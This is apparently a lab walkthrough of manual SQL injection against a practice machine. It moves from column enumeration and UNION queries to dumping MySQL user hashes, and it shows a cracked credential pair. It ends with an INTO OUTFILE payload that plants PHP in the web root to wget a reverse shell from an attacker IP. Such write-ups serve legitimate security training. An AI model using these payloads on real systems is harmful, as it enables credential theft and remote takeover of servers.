---
description: SQL Injection
---

# Exploitation

After testing for LFI and RFI and SQLi, we learn the the application is vulnerable to SQL injection by implementing the sleep command. For the following exploitation, we will use the manual method for OSCP practice and the SQLi method for better practice.

## Method 1: Manual SQLi&#x20;

testing with the SQLi sleep command, this demonstrates that the webpage is vulnerable to SQL injection the %20 is a space that is URL encoded

![successful](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMJ0ZuUQ80Wfv1vjpa%2F-MMMTo0-gLlC6YFozueG%2Fimage.png?alt=media\&token=f1d2f7ff-8bb5-4af6-91b8-ca649782e154)

Likewise you can do it this method:

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMJ0ZuUQ80Wfv1vjpa%2F-MMMUNy9iKWWmNGm3PhL%2Fimage.png?alt=media\&token=a21ff8b6-064a-4bc5-b48e-d478e2e5862f)

### Checking for columns using the ORDER BY SQLi

#### Step 1: Column Enumeration

```
Select * FROM table
ORDER BY column-name
```

The above SQL statement prints out all the columns in the "table" table and orders the result based on the column "column-name" with column-name, you can use an interger instead of column-name.

Example:

```
Select * FROM table
ORDER BY 1
```

The above statement prints out all the columns in the table "table" and orders teh result based on the first column in the table. Knowing that we can abuse it by ordering a column that does not exist. If the column does not exist we will either:

* Have the application behave weirdly or&#x20;
* Have the application throw an error based on the validation that is being done at the backend.

To enumerate the number of columns, we will use the ORDER BY SQL statement until the application throws an error or no longer gives us a result.&#x20;

![ORDER BY 7 ](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMdekzepVoPCIgtYow%2F-MMMk2YXRQhv_FoB4HJE%2Fimage.png?alt=media\&token=99476d17-27cd-4088-9c90-c072b7ad6879)

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMdekzepVoPCIgtYow%2F-MMMkI4X6J9EArcRjFLw%2Fimage.png?alt=media\&token=13a7457e-749e-425a-9609-82b972f83ef9)

Because of the above SQL statements, we can conclude that the query is using exactly 7 columns. Let's determine which of these columns are getting outputted on the page.&#x20;

#### Step 2: Column Presentation and Type

Using **SQL UNION Operator**, we can determine where the column result is being outputted on the page. Here is a sample of the query.

```
SELECT column-name-1 FROM table1
UNION
SELECT column-name-2 FROM table2;
```

The above statement does select on "column-name-1" from "table1" and then does a select on "column-name-2" from "table-2" and uses the UNION operator to combine the results of the two select statements. **NOTE: The number of columns have to be the same in both select statements form the query to work**&#x20;

Knowing this, we can analyze the following statement.&#x20;

```
SELECT column-name-1 FROM table1
UNION
SELECT 1
```

The first select statement does a query on "column-name-1" from "table1" and the second select statement simply prints out the value of 1. The union of these two statements is the combination of the results. Depending on certain conditions such as matchig data types of the columnd, the above query might generate an error. Keep that in mind.&#x20;

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMm0a_yPEWe9pcDHpS%2F-MMMoBKoNSXQEf1xCikk%2Fimage.png?alt=media\&token=420111c8-8fb7-471d-95e4-dc6cf15fb618)

At first with a known cod value, we got the output of the first select statement, but not the second. A possible reason, in my case nothing. Possible reason is that the application can only print out one entry at a time. Modifying our cod value to something that doesn't exist, print's out the result from the second statement. This allows us to known what columns correspond to the elements in the page.&#x20;

#### Step 3: Retrieve Backend Information

{% embed url="http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet" %}

We can use SQL commands to further enumerate and exploit the database

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMm0a_yPEWe9pcDHpS%2F-MMMq7U9k7pTVw8R705w%2Fimage.png?alt=media\&token=7706d521-5cca-47ce-95d1-a0257cd09195)

```
SELECT host, user, password FROM mysql.user
```

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMm0a_yPEWe9pcDHpS%2F-MMMqnKSIIfOFCsBVCcK%2Fimage.png?alt=media\&token=b2105707-06ba-4f92-a37d-1607112f0a7c)

gives nothing because we're querying more than one column in the sub select query. We can verify by just outputting the password column.&#x20;

```
SELECT password FROM mysql.user
```

![HASH Found!](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMm0a_yPEWe9pcDHpS%2F-MMMrVaPoM1Z-DLvReus%2Fimage.png?alt=media\&token=86de0d7b-89e2-4d0e-883a-80182837758a)

We get a hash! Inorder to output multiple columns, you can use the group\_concat() function

```
SELECT group_concat(host,user,password) FROM mysql.user
```

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMm0a_yPEWe9pcDHpS%2F-MMMs5GinwkOGOsra2Jh%2Fimage.png?alt=media\&token=200fd546-fd52-4262-8c44-5ef8b919ceea)

### Found Username and HASH

* Username: DBadmin
* Hash: 2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
* Password: imissyou

{% embed url="https://crackstation.net/" %}



![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMm0a_yPEWe9pcDHpS%2F-MMMt1LAMvRrOBnocMFU%2Fimage.png?alt=media\&token=3dd2d0a7-d7da-436e-847d-b52f6386e940)

An alternate method is using the LOAD\_FILE, this would of been useful if MYSQL was running as root. It was not the case for this box.&#x20;

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMtE8acNuumiU_Ak--%2F-MMMyoNJ0VVDd7nJZPGz%2Fimage.png?alt=media\&token=b4ab71d4-17c6-4740-970c-ce60d55a7585)

#### Step 4: Command Execution

We can add php code via SQL, in order to do so, we need to save that code into a file and then somehow call the file and execute the code.

Set up your PHP reverse SHELL and listener and inpu the following SQL query

```
9999 union select 1,(select '<?php exec(\"wget -O /var/www/html/shell.php http://10.10.14.34:5555/php-reverse-shell.php\");?>'),3,4,5,6,7 INTO OUTFILE '/var/www/html/test4.php'
```

```
What the above query does, is it saves the entire query (including the PHP code) into 
the file /var/www/html/test4.php. This is the root directory of the web server. So when 
we call the test4.php script, it will execute the php code that we included in our select
statement and download the reverse shell.
```

This copies and downloads the php script into /var/www/html/ folder

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMtE8acNuumiU_Ak--%2F-MMN4IlVepfrs3xSMoA4%2Fimage.png?alt=media\&token=bafc883a-79ca-43de-a8a1-a61217151689)

The file is executed when shell.php is called

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMtE8acNuumiU_Ak--%2F-MMN4_jd3AwGSmvTzqei%2Fimage.png?alt=media\&token=e7218646-47b0-4159-bb57-59eb23eeeb02)

### Connection Established

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MMMtE8acNuumiU_Ak--%2F-MMN57yBD2hfv1RUfPD6%2Fimage.png?alt=media\&token=86a773d9-88cc-4928-8a69-9daaddac05e1)
